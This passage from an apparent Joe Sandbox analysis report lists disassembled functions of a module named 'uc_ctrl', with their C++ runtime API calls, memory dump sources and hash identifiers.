                                                                                              • ldexp.API-MS-WIN-CRT-MATH-L1-1-0(?,?,?), ref: 6CEE8CB7
                                                                                              Strings
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000011.00000002.4149599826.000000006CED1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6CED0000, based on PE: true
                                                                                              • Associated: 00000011.00000002.4149575919.000000006CED0000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4149669520.000000006CF32000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4149703165.000000006CF35000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4149703165.000000006CF38000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_17_2_6ced0000_uc_ctrl.jbxd
                                                                                              Similarity
                                                                                              • API ID: U?$char_traits@V?$istreambuf_iterator@$D@std@@@2@1D@std@@@std@@@std@@Vios_base@2@$Getffld@?$num_get@Getffldx@?$num_get@H_prolog3_Stoldxldexp
                                                                                              • String ID: Cw}3/
                                                                                              • API String ID: 917369571-738913995
                                                                                              • Opcode ID: ee974df5d89943f5c7afc788a243821454dfdfe85874b54a3958d6187f462e9e
                                                                                              • Instruction ID: fb1722b64496a3bbd06dfdfe1d8bb33f363e8908228ae553626a342deac69910
                                                                                              • Opcode Fuzzy Hash: ee974df5d89943f5c7afc788a243821454dfdfe85874b54a3958d6187f462e9e
                                                                                              • Instruction Fuzzy Hash: C12185B2504206EFD710DF58C840A9BB7F8FF89354F108A5EF89593240D730E919CBA6
                                                                                              Function 6CEF0D60 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 81COMMON
                                                                                              Download Yara Rule
                                                                                              APIs
                                                                                              • ?_Getffld@?$num_get@GV?$istreambuf_iterator@GU?$char_traits@G@std@@@std@@@std@@ABAHPADAAV?$istreambuf_iterator@GU?$char_traits@G@std@@@2@1AAVios_base@2@PAH@Z.MSVCP140(?,?,?,?,?,?,?,?), ref: 6CEF0DA7
                                                                                                • Part of subcall function 6CEF56A0: __EH_prolog3_GS.LIBCMT ref: 6CEF56AA
                                                                                                • Part of subcall function 6CEF56A0: ?_Getffldx@?$num_get@GV?$istreambuf_iterator@GU?$char_traits@G@std@@@std@@@std@@ABAHPADAAV?$istreambuf_iterator@GU?$char_traits@G@std@@@2@1AAVios_base@2@PAH@Z.MSVCP140(?,?,?,?,?,?,0000008C,6CEF0CCC,?,?,?,?,?,?,?,?), ref: 6CEF56DE
                                                                                              • _Stodx.MSVCP140(?,?,00000000), ref: 6CEF0DBA
                                                                                              • ldexp.API-MS-WIN-CRT-MATH-L1-1-0(?,?,?), ref: 6CEF0DD7
                                                                                              Strings
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000011.00000002.4149599826.000000006CED1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6CED0000, based on PE: true
                                                                                              • Associated: 00000011.00000002.4149575919.000000006CED0000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4149669520.000000006CF32000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4149703165.000000006CF35000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4149703165.000000006CF38000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_17_2_6ced0000_uc_ctrl.jbxd
                                                                                              Similarity
                                                                                              • API ID: U?$char_traits@V?$istreambuf_iterator@$G@std@@@2@1G@std@@@std@@@std@@Vios_base@2@$Getffld@?$num_get@Getffldx@?$num_get@H_prolog3_Stodxldexp
                                                                                              • String ID: Cw}3/
                                                                                              • API String ID: 1953268720-738913995
                                                                                              • Opcode ID: 8626dcb3cf2fa5fa19ee047d3f8d3d6dfac26cd3bdacfd9f7d34bc2745b89156
                                                                                              • Instruction ID: 8e5b4b40ffcfc909ee6dd54fe1b155fdb11de75398c827fadcfb3e89e8f0fe20
                                                                                              • Opcode Fuzzy Hash: 8626dcb3cf2fa5fa19ee047d3f8d3d6dfac26cd3bdacfd9f7d34bc2745b89156
                                                                                              • Instruction Fuzzy Hash: D4215372504206DFCB00DF54D88099BB7F8FF88314F108A5EF8A596241D771EA19CBA2
                                                                                              Function 6CEE8D20 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 81COMMON
                                                                                              Download Yara Rule
                                                                                              APIs
                                                                                              • ?_Getffld@?$num_get@DV?$istreambuf_iterator@DU?$char_traits@D@std@@@std@@@std@@ABAHPADAAV?$istreambuf_iterator@DU?$char_traits@D@std@@@2@1AAVios_base@2@PAH@Z.MSVCP140(?,?,?,?,?,?,?,?), ref: 6CEE8D67
                                                                                                • Part of subcall function 6CEE9DE0: __EH_prolog3_GS.LIBCMT ref: 6CEE9DE7
                                                                                                • Part of subcall function 6CEE9DE0: ?_Getffldx@?$num_get@DV?$istreambuf_iterator@DU?$char_traits@D@std@@@std@@@std@@ABAHPADAAV?$istreambuf_iterator@DU?$char_traits@D@std@@@2@1AAVios_base@2@PAH@Z.MSVCP140(?,?,?,?,?,?,0000007C,6CEE8C8C,?,?,?,?,?,?,?,?), ref: 6CEE9E18
                                                                                              • _Stodx.MSVCP140(?,?,00000000), ref: 6CEE8D7A
                                                                                              • ldexp.API-MS-WIN-CRT-MATH-L1-1-0(?,?,?), ref: 6CEE8D97
                                                                                              Strings
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000011.00000002.4149599826.000000006CED1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6CED0000, based on PE: true
                                                                                              • Associated: 00000011.00000002.4149575919.000000006CED0000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4149669520.000000006CF32000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4149703165.000000006CF35000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4149703165.000000006CF38000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_17_2_6ced0000_uc_ctrl.jbxd
                                                                                              Similarity
                                                                                              • API ID: U?$char_traits@V?$istreambuf_iterator@$D@std@@@2@1D@std@@@std@@@std@@Vios_base@2@$Getffld@?$num_get@Getffldx@?$num_get@H_prolog3_Stodxldexp
                                                                                              • String ID: Cw}3/
                                                                                              • API String ID: 1183350479-738913995
                                                                                              • Opcode ID: ee974df5d89943f5c7afc788a243821454dfdfe85874b54a3958d6187f462e9e
                                                                                              • Instruction ID: 7e573f404c2dd3b3fbc339ff6462f60b074c8c452da32503dae19eba95257d5c
                                                                                              • Opcode Fuzzy Hash: ee974df5d89943f5c7afc788a243821454dfdfe85874b54a3958d6187f462e9e
                                                                                              • Instruction Fuzzy Hash: BF214FB2504206EBC714DF58D88099BB7FCFF89354F108A5EF89592241E770EA19CBA2
                                                                                              Function 6CEF0E40 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 80COMMON
                                                                                              Download Yara Rule
                                                                                              APIs
                                                                                              • ?_Getffld@?$num_get@GV?$istreambuf_iterator@GU?$char_traits@G@std@@@std@@@std@@ABAHPADAAV?$istreambuf_iterator@GU?$char_traits@G@std@@@2@1AAVios_base@2@PAH@Z.MSVCP140(?,?,?,?,?,?,?,?), ref: 6CEF0E87
                                                                                                • Part of subcall function 6CEF56A0: __EH_prolog3_GS.LIBCMT ref: 6CEF56AA
                                                                                                • Part of subcall function 6CEF56A0: ?_Getffldx@?$num_get@GV?$istreambuf_iterator@GU?$char_traits@G@std@@@std@@@std@@ABAHPADAAV?$istreambuf_iterator@GU?$char_traits@G@std@@@2@1AAVios_base@2@PAH@Z.MSVCP140(?,?,?,?,?,?,0000008C,6CEF0CCC,?,?,?,?,?,?,?,?), ref: 6CEF56DE
                                                                                              • _Stofx.MSVCP140(?,?,00000000), ref: 6CEF0E9A
                                                                                              • ldexp.API-MS-WIN-CRT-MATH-L1-1-0(?,?,?), ref: 6CEF0EBB
                                                                                              Strings
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000011.00000002.4149599826.000000006CED1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6CED0000, based on PE: true
                                                                                              • Associated: 00000011.00000002.4149575919.000000006CED0000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4149669520.000000006CF32000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4149703165.000000006CF35000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4149703165.000000006CF38000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_17_2_6ced0000_uc_ctrl.jbxd
                                                                                              Similarity
                                                                                              • API ID: U?$char_traits@V?$istreambuf_iterator@$G@std@@@2@1G@std@@@std@@@std@@Vios_base@2@$Getffld@?$num_get@Getffldx@?$num_get@H_prolog3_Stofxldexp
                                                                                              • String ID: Cw}3/
                                                                                              • API String ID: 3824390873-738913995
                                                                                              • Opcode ID: 3a12483454b44a842455d5463199a54b54b257b86a76cf88c91922cf2a1ae8e1
                                                                                              • Instruction ID: abf3493c494af807642887332e53f3daae1591fccad22fbde866a41272efd192
                                                                                              • Opcode Fuzzy Hash: 3a12483454b44a842455d5463199a54b54b257b86a76cf88c91922cf2a1ae8e1
                                                                                              • Instruction Fuzzy Hash: E42130B2614245DFDB00DF54C84099BB7F8FF84318F108A5DF8A596640D770EA19CBA2
                                                                                              Function 6CEE8E00 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 80COMMON
                                                                                              Download Yara Rule
                                                                                              APIs
                                                                                              • ?_Getffld@?$num_get@DV?$istreambuf_iterator@DU?$char_traits@D@std@@@std@@@std@@ABAHPADAAV?$istreambuf_iterator@DU?$char_traits@D@std@@@2@1AAVios_base@2@PAH@Z.MSVCP140(?,?,?,?,?,?,?,?), ref: 6CEE8E47
                                                                                                • Part of subcall function 6CEE9DE0: __EH_prolog3_GS.LIBCMT ref: 6CEE9DE7
                                                                                                • Part of subcall function 6CEE9DE0: ?_Getffldx@?$num_get@DV?$istreambuf_iterator@DU?$char_traits@D@std@@@std@@@std@@ABAHPADAAV?$istreambuf_iterator@DU?$char_traits@D@std@@@2@1AAVios_base@2@PAH@Z.MSVCP140(?,?,?,?,?,?,0000007C,6CEE8C8C,?,?,?,?,?,?,?,?), ref: 6CEE9E18
                                                                                              • _Stofx.MSVCP140(?,?,00000000), ref: 6CEE8E5A
                                                                                              • ldexp.API-MS-WIN-CRT-MATH-L1-1-0(?,?,?), ref: 6CEE8E7B
                                                                                              Strings
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000011.00000002.4149599826.000000006CED1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6CED0000, based on PE: true
                                                                                              • Associated: 00000011.00000002.4149575919.000000006CED0000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4149669520.000000006CF32000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4149703165.000000006CF35000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4149703165.000000006CF38000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_17_2_6ced0000_uc_ctrl.jbxd
                                                                                              Similarity
                                                                                              • API ID: U?$char_traits@V?$istreambuf_iterator@$D@std@@@2@1D@std@@@std@@@std@@Vios_base@2@$Getffld@?$num_get@Getffldx@?$num_get@H_prolog3_Stofxldexp
                                                                                              • String ID: Cw}3/
                                                                                              • API String ID: 3507974118-738913995
                                                                                              • Opcode ID: 66d31ecf2d70abdf1806b6dcd5a6546cfa7ecf7e2722855d1293d72450934065
                                                                                              • Instruction ID: 47b7945d4dfb080b446c490202708863fe1a1d85925739881bf5f9c2f83d8756
                                                                                              • Opcode Fuzzy Hash: 66d31ecf2d70abdf1806b6dcd5a6546cfa7ecf7e2722855d1293d72450934065
                                                                                              • Instruction Fuzzy Hash: 36212FB2504205EFC710DF58C841A9BB7F8FF88354F108A5EF89596250E770EA18CBA2
                                                                                              Function 6CF92209 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 61libraryloaderCOMMON
                                                                                              Download Yara Rule
                                                                                              APIs
                                                                                                • Part of subcall function 6CF912F2: LoadLibraryW.KERNEL32(?,6D1840E0,00000010,6CF90DCC,?), ref: 6CF91323
                                                                                              • GetProcAddress.KERNEL32(00000000,DllGetVersion), ref: 6CF92248
                                                                                              • FreeLibrary.KERNEL32(00000000,?,comctl32.dll), ref: 6CF92293
                                                                                                • Part of subcall function 6CF921F6: GetLastError.KERNEL32 ref: 6CF921F6
                                                                                              Strings
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000011.00000002.4150030464.000000006CF61000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6CF60000, based on PE: true
                                                                                              • Associated: 00000011.00000002.4150002088.000000006CF60000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150269205.000000006D0F3000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150379053.000000006D1C2000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150405212.000000006D1C4000.00000008.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150450264.000000006D1C7000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150450264.000000006D1C9000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150701326.000000006D1D0000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150752180.000000006D1E3000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150799167.000000006D200000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_17_2_6cf60000_uc_ctrl.jbxd
                                                                                              Similarity
                                                                                              • API ID: Library$AddressErrorFreeLastLoadProc
                                                                                              • String ID: DllGetVersion$comctl32.dll
                                                                                              • API String ID: 2540614322-3857068685
                                                                                              • Opcode ID: 61eaace58cd2e8dafd63469195fdbfb0445e81ff091153b5ea28b735eb45271c
                                                                                              • Instruction ID: 9f0b392150b7272d9de8668638b73792e896e1a68a6c02bd8abfe544c1361a83
                                                                                              • Opcode Fuzzy Hash: 61eaace58cd2e8dafd63469195fdbfb0445e81ff091153b5ea28b735eb45271c
                                                                                              • Instruction Fuzzy Hash: 0511E7769042099BEF05DFA8C845BAE7BB5AF89311F110019EE0497340DB35D9008BA2
                                                                                              Function 6CEE1B6F Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 54COMMON
                                                                                              Download Yara Rule
                                                                                              Strings
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000011.00000002.4149599826.000000006CED1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6CED0000, based on PE: true
                                                                                              • Associated: 00000011.00000002.4149575919.000000006CED0000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4149669520.000000006CF32000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4149703165.000000006CF35000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4149703165.000000006CF38000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_17_2_6ced0000_uc_ctrl.jbxd
                                                                                              Similarity
                                                                                              • API ID:
                                                                                              • String ID: Cw}3/
                                                                                              • API String ID: 0-738913995
                                                                                              • Opcode ID: e168716e62a61a3469290392f86cd9f08c9426fc43c9dd11718394f865bc81d1
                                                                                              • Instruction ID: f8012d4351a9dc02e50ad5d3d3ac6d47a92af9ac44e4b62e291fc5d1b428f22c
                                                                                              • Opcode Fuzzy Hash: e168716e62a61a3469290392f86cd9f08c9426fc43c9dd11718394f865bc81d1
                                                                                              • Instruction Fuzzy Hash: 9511AD3A7005149FCB01CF58C490A6DFBFAFB88A60F25805AE8099B751DB35FD408BD0
                                                                                              Function 6CEF2CA0 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 49COMMON
                                                                                              Download Yara Rule
                                                                                              APIs
                                                                                              • ?_Ifmt@?$num_put@_WV?$ostreambuf_iterator@_WU?$char_traits@_W@std@@@std@@@std@@ABAPADPADPBDH@Z.MSVCP140(?,?,6CED57D4,?,?,?), ref: 6CEF2CD3
                                                                                              • _swprintf_s.MSPDB140-MSVCRT ref: 6CEF2CE3
                                                                                                • Part of subcall function 6CEE7DDA: __stdio_common_vsprintf_s.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,?,?,?,00000000,6CED57CC,?,6CEE84F4,?,00000040,6CED57CC,?), ref: 6CEE7DF6
                                                                                              • ?_Iput@?$num_put@_WV?$ostreambuf_iterator@_WU?$char_traits@_W@std@@@std@@@std@@ABA?AV?$ostreambuf_iterator@_WU?$char_traits@_W@std@@@2@V32@AAVios_base@2@_WPADI@Z.MSVCP140(?,?,?,?,?,?,?,00000000), ref: 6CEF2CFD
                                                                                                • Part of subcall function 6CEF7200: __EH_prolog3_GS.LIBCMT ref: 6CEF7207
                                                                                                • Part of subcall function 6CEF7200: ?getloc@ios_base@std@@QBE?AVlocale@2@XZ.MSVCP140(?,0000004C,6CEF299B,?,?,?,?,?,?,?,00000000,?,00000040,6CED57CC,?), ref: 6CEF7263
                                                                                                • Part of subcall function 6CEF7200: std::locale::~locale.LIBCPMT ref: 6CEF727D
                                                                                                • Part of subcall function 6CEF7200: ?getloc@ios_base@std@@QBE?AVlocale@2@XZ.MSVCP140(?,?,0000004C,6CEF299B,?,?,?,?,?,?,?,00000000,?,00000040,6CED57CC,?), ref: 6CEF72C0
                                                                                                • Part of subcall function 6CEF7200: std::locale::~locale.LIBCPMT ref: 6CEF72DC
                                                                                              Strings
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000011.00000002.4149599826.000000006CED1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6CED0000, based on PE: true
                                                                                              • Associated: 00000011.00000002.4149575919.000000006CED0000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4149669520.000000006CF32000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4149703165.000000006CF35000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4149703165.000000006CF38000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_17_2_6ced0000_uc_ctrl.jbxd
                                                                                              Similarity
                                                                                              • API ID: U?$char_traits@_V?$ostreambuf_iterator@_$?getloc@ios_base@std@@Vlocale@2@W@std@@@std@@@std@@std::locale::~locale$H_prolog3_Ifmt@?$num_put@_Iput@?$num_put@_V32@Vios_base@2@_W@std@@@2@__stdio_common_vsprintf_s_swprintf_s
                                                                                              • String ID: Cw}3/
                                                                                              • API String ID: 3060601432-738913995
                                                                                              • Opcode ID: 5eb5a8fd57178d9a2b490e0cecb52d56bfff7cbd5782cee58e4cdd973866c75a
                                                                                              • Instruction ID: fdb48c032c08a7026decf9c3486bf37f0a402e7f187ed3fa693a56a84cae1bd2
                                                                                              • Opcode Fuzzy Hash: 5eb5a8fd57178d9a2b490e0cecb52d56bfff7cbd5782cee58e4cdd973866c75a
                                                                                              • Instruction Fuzzy Hash: 3901D8B3500108BFDB11DF94CC41CEB77BDEB49214F004519FA1482601D731E925D7E2
                                                                                              Function 6CEF2C20 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 49COMMON
                                                                                              Download Yara Rule
                                                                                              APIs
                                                                                              • ?_Ifmt@?$num_put@_WV?$ostreambuf_iterator@_WU?$char_traits@_W@std@@@std@@@std@@ABAPADPADPBDH@Z.MSVCP140(?,?,6CED57D0,?,?,?), ref: 6CEF2C53
                                                                                              • _swprintf_s.MSPDB140-MSVCRT ref: 6CEF2C63
                                                                                                • Part of subcall function 6CEE7DDA: __stdio_common_vsprintf_s.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,?,?,?,00000000,6CED57CC,?,6CEE84F4,?,00000040,6CED57CC,?), ref: 6CEE7DF6
                                                                                              • ?_Iput@?$num_put@_WV?$ostreambuf_iterator@_WU?$char_traits@_W@std@@@std@@@std@@ABA?AV?$ostreambuf_iterator@_WU?$char_traits@_W@std@@@2@V32@AAVios_base@2@_WPADI@Z.MSVCP140(?,?,?,?,?,?,?,00000000), ref: 6CEF2C7D
                                                                                                • Part of subcall function 6CEF7200: __EH_prolog3_GS.LIBCMT ref: 6CEF7207
                                                                                                • Part of subcall function 6CEF7200: ?getloc@ios_base@std@@QBE?AVlocale@2@XZ.MSVCP140(?,0000004C,6CEF299B,?,?,?,?,?,?,?,00000000,?,00000040,6CED57CC,?), ref: 6CEF7263
                                                                                                • Part of subcall function 6CEF7200: std::locale::~locale.LIBCPMT ref: 6CEF727D
                                                                                                • Part of subcall function 6CEF7200: ?getloc@ios_base@std@@QBE?AVlocale@2@XZ.MSVCP140(?,?,0000004C,6CEF299B,?,?,?,?,?,?,?,00000000,?,00000040,6CED57CC,?), ref: 6CEF72C0
                                                                                                • Part of subcall function 6CEF7200: std::locale::~locale.LIBCPMT ref: 6CEF72DC
                                                                                              Strings
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000011.00000002.4149599826.000000006CED1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6CED0000, based on PE: true
                                                                                              • Associated: 00000011.00000002.4149575919.000000006CED0000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4149669520.000000006CF32000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4149703165.000000006CF35000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4149703165.000000006CF38000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_17_2_6ced0000_uc_ctrl.jbxd
                                                                                              Similarity
                                                                                              • API ID: U?$char_traits@_V?$ostreambuf_iterator@_$?getloc@ios_base@std@@Vlocale@2@W@std@@@std@@@std@@std::locale::~locale$H_prolog3_Ifmt@?$num_put@_Iput@?$num_put@_V32@Vios_base@2@_W@std@@@2@__stdio_common_vsprintf_s_swprintf_s
                                                                                              • String ID: Cw}3/
                                                                                              • API String ID: 3060601432-738913995
                                                                                              • Opcode ID: 679f8f6ce1d3f36bde977e13638aed5deb8bf259c1c1c4b4959fd72fde35aeab
                                                                                              • Instruction ID: 9f9fc30f6bf42d0aeaa064212b9e09e9bf12308d283a20637791c331c0426b04
                                                                                              • Opcode Fuzzy Hash: 679f8f6ce1d3f36bde977e13638aed5deb8bf259c1c1c4b4959fd72fde35aeab
                                                                                              • Instruction Fuzzy Hash: EC01D8B3500108BFDB11DF94CC41CEB77BDEB49214F004519FA1482601E731E925D7E2
                                                                                              Function 6CEF0850 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 49COMMON
                                                                                              Download Yara Rule
                                                                                              APIs
                                                                                              • ?_Ifmt@?$num_put@_WV?$ostreambuf_iterator@_WU?$char_traits@_W@std@@@std@@@std@@ABAPADPADPBDH@Z.MSVCP140(?,?,6CED57D4,?,?,?), ref: 6CEF0883
                                                                                              • _swprintf_s.MSPDB140-MSVCRT ref: 6CEF0893
                                                                                                • Part of subcall function 6CEE7DDA: __stdio_common_vsprintf_s.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,?,?,?,00000000,6CED57CC,?,6CEE84F4,?,00000040,6CED57CC,?), ref: 6CEE7DF6
                                                                                              • ?_Iput@?$num_put@GV?$ostreambuf_iterator@GU?$char_traits@G@std@@@std@@@std@@ABA?AV?$ostreambuf_iterator@GU?$char_traits@G@std@@@2@V32@AAVios_base@2@GPADI@Z.MSVCP140(?,?,?,?,?,?,?,00000000), ref: 6CEF08AD
                                                                                                • Part of subcall function 6CEF50F0: __EH_prolog3_GS.LIBCMT ref: 6CEF50F7
                                                                                                • Part of subcall function 6CEF50F0: ?getloc@ios_base@std@@QBE?AVlocale@2@XZ.MSVCP140(?,0000004C,6CEF054B,?,?,?,?,?,?,?,00000000,?,00000040,6CED57CC,?), ref: 6CEF5153
                                                                                                • Part of subcall function 6CEF50F0: std::locale::~locale.LIBCPMT ref: 6CEF516D
                                                                                                • Part of subcall function 6CEF50F0: ?getloc@ios_base@std@@QBE?AVlocale@2@XZ.MSVCP140(?,?,0000004C,6CEF054B,?,?,?,?,?,?,?,00000000,?,00000040,6CED57CC,?), ref: 6CEF51B0
                                                                                                • Part of subcall function 6CEF50F0: std::locale::~locale.LIBCPMT ref: 6CEF51CC
                                                                                              Strings
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000011.00000002.4149599826.000000006CED1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6CED0000, based on PE: true
                                                                                              • Associated: 00000011.00000002.4149575919.000000006CED0000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4149669520.000000006CF32000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4149703165.000000006CF35000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4149703165.000000006CF38000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_17_2_6ced0000_uc_ctrl.jbxd
                                                                                              Similarity
                                                                                              • API ID: ?getloc@ios_base@std@@U?$char_traits@V?$ostreambuf_iterator@Vlocale@2@std::locale::~locale$G@std@@@2@G@std@@@std@@@std@@H_prolog3_Ifmt@?$num_put@_Iput@?$num_put@U?$char_traits@_V32@V?$ostreambuf_iterator@_Vios_base@2@W@std@@@std@@@std@@__stdio_common_vsprintf_s_swprintf_s
                                                                                              • String ID: Cw}3/
                                                                                              • API String ID: 4173253988-738913995
                                                                                              • Opcode ID: 53cdd1d319e90df99251cc4a35a4de36751ed6a94c0284912a133b680625d429
                                                                                              • Instruction ID: 6c0248d851ca7ffb48ac6f24b3a159e4adfc5db6cce304d96a9828c74faf4900
                                                                                              • Opcode Fuzzy Hash: 53cdd1d319e90df99251cc4a35a4de36751ed6a94c0284912a133b680625d429
                                                                                              • Instruction Fuzzy Hash: 6501B1B3504208BB9B119F94CC81CEB77BDEB49218F00461AFA1582601E732E9299BE2
                                                                                              Function 6CEE8810 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 49COMMON
                                                                                              Download Yara Rule
                                                                                              APIs
                                                                                              • ?_Ifmt@?$num_put@_WV?$ostreambuf_iterator@_WU?$char_traits@_W@std@@@std@@@std@@ABAPADPADPBDH@Z.MSVCP140(?,?,6CED57D4,?,?,?), ref: 6CEE8843
                                                                                              • _swprintf_s.MSPDB140-MSVCRT ref: 6CEE8853
                                                                                                • Part of subcall function 6CEE7DDA: __stdio_common_vsprintf_s.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,?,?,?,00000000,6CED57CC,?,6CEE84F4,?,00000040,6CED57CC,?), ref: 6CEE7DF6
                                                                                              • ?_Iput@?$num_put@DV?$ostreambuf_iterator@DU?$char_traits@D@std@@@std@@@std@@ABA?AV?$ostreambuf_iterator@DU?$char_traits@D@std@@@2@V32@AAVios_base@2@DPADI@Z.MSVCP140(?,?,?,?,?,?,?,00000000), ref: 6CEE886D
                                                                                                • Part of subcall function 6CEE9720: __EH_prolog3_GS.LIBCMT ref: 6CEE9727
                                                                                                • Part of subcall function 6CEE9720: ?getloc@ios_base@std@@QBE?AVlocale@2@XZ.MSVCP140(?,0000004C,6CEE850B,?,?,?,?,?,?,?,00000000,?,00000040,6CED57CC,?), ref: 6CEE9783
                                                                                                • Part of subcall function 6CEE9720: std::locale::~locale.LIBCPMT ref: 6CEE979D
                                                                                                • Part of subcall function 6CEE9720: ?getloc@ios_base@std@@QBE?AVlocale@2@XZ.MSVCP140(?,?,?,?,?,?,?,?,00000000,?,00000040,6CED57CC,?), ref: 6CEE97E1
                                                                                                • Part of subcall function 6CEE9720: std::locale::~locale.LIBCPMT ref: 6CEE97FD
                                                                                              Strings
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000011.00000002.4149599826.000000006CED1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6CED0000, based on PE: true
                                                                                              • Associated: 00000011.00000002.4149575919.000000006CED0000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4149669520.000000006CF32000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4149703165.000000006CF35000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4149703165.000000006CF38000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_17_2_6ced0000_uc_ctrl.jbxd
                                                                                              Similarity
